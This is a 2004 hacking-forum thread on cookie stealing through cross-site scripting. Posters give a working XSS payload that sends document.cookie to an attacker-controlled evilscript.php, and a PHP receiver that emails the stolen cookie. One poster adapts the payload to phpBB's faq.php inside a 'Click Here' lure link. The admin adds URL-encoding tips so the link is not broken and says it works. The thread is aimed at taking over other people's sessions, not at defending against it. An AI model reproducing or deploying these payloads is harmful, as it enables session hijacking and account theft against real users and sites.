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www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> cookie stealing
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cookie stealing
PostPosted: Wed Jul 14, 2004 3:47 pm Reply with quote
migo79
Regular user
Regular user
 
Joined: May 18, 2004
Posts: 17




hello guys

can you waraxe give a tutorial on how send a cookie file to a form and then to be mailed to anyone

i mean by discovering a cross site scripting vuln in any script
how can i write the code to mail the cookie to me for example

any clue or other detailed tutorial is appreciated

best regards
migo
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Re: cookie stealing
PostPosted: Wed Jul 14, 2004 3:57 pm Reply with quote
Heintz
Valuable expert
Valuable expert
 
Joined: Jun 12, 2004
Posts: 88
Location: Estonia/Sweden




ok. let's assume you got a hole in www.example.com/script.php?foo=bar

first you must send cookie to script, it goes something like this:
Code:

www.example.com/script.php?foo=<script>document.location= 'www.yourdomain.com/evilscript.php?cookie=' + window.document.cookie; </script>

in evilscript.php there should be something like this:
Code:

<?php

$cookie = $_GET['cookie'];
mail('youremail@example.com', 'You just stole a cookie', $cookie);

?>


nb! i may have mistakes in script(s) cause i wrote them on spot.
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PostPosted: Thu Jul 15, 2004 11:18 am Reply with quote
migo79
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Regular user
 
Joined: May 18, 2004
Posts: 17




that's a well clarified reply
thanks too much
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PostPosted: Thu Jul 15, 2004 11:20 am Reply with quote
migo79
Regular user
Regular user
 
Joined: May 18, 2004
Posts: 17




and here is a well detailed tutorial too
you have to register for free to view it but it well worth

http://www.idefense.com/application/poi/researchreports/display?id=9
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XSS
PostPosted: Sat Jul 17, 2004 4:48 pm Reply with quote
zerocool
Regular user
Regular user
 
Joined: Jul 17, 2004
Posts: 20




is there is anyone to send the cookies to my email without to open a

PHP HOMEPAGE witn PHP "EVI SCRIPT.php"

Because i dont know from where i cant open a personal free website that support PHP SCRIPTS
so if there is any easy ways please tell me
and if anyone know some homepage that i can build my free homepage that support php scripts please tell me

thanks
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Re: XSS
PostPosted: Sat Jul 17, 2004 9:18 pm Reply with quote
LINUX
Moderator
Moderator
 
Joined: May 24, 2004
Posts: 404
Location: Caiman




zerocool wrote:
is there is anyone to send the cookies to my email without to open a

PHP HOMEPAGE witn PHP "EVI SCRIPT.php"

Because i dont know from where i cant open a personal free website that support PHP SCRIPTS
so if there is any easy ways please tell me
and if anyone know some homepage that i can build my free homepage that support php scripts please tell me

thanks


Check Free web host

http://www.waraxe.us/forum/viewtopic.php?t=143
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Re: cookie stealing
PostPosted: Sun Sep 05, 2004 4:17 am Reply with quote
dotcomBOT
Regular user
Regular user
 
Joined: Jun 11, 2004
Posts: 12




Heintz wrote:
ok. let's assume you got a hole in www.example.com/script.php?foo=bar

first you must send cookie to script, it goes something like this:
Code:

www.example.com/script.php?foo=<script>document.location= 'www.yourdomain.com/evilscript.php?cookie=' + window.document.cookie; </script>

in evilscript.php there should be something like this:
Code:

<?php

$cookie = $_GET['cookie'];
mail('youremail@example.com', 'You just stole a cookie', $cookie);

?>


nb! i may have mistakes in script(s) cause i wrote them on spot.


i got a little prob

the hole i wanna use is :
Code:

faq.php?
faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq[0][1]=waraxe


so my link should be
Code:

[url=www.target-site.com/forum/faq.php?faq[0][0]=f00<script>document.location= 'www.myOWNhost.com/evil.php?cookie=' + window.document.cookie; </script>bar&faq[0][1]=waraxe]Click Here[/url]


html has been disabled over the forum [ over most of the forums ]
so the links get broken when it reaches "]"

any solution?


Last edited by dotcomBOT on Tue Nov 02, 2004 9:58 am; edited 1 time in total

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PostPosted: Mon Sep 06, 2004 8:47 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Use urlencoded values, so "[" will be "%5b" and "]" is "%5d".

Exploit will be then something like "faq.php?faq%5b0%5d%5b0%5d=".

I tested this method on my local computer's phpbb installation, and
it works 100%.
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cookie stealing
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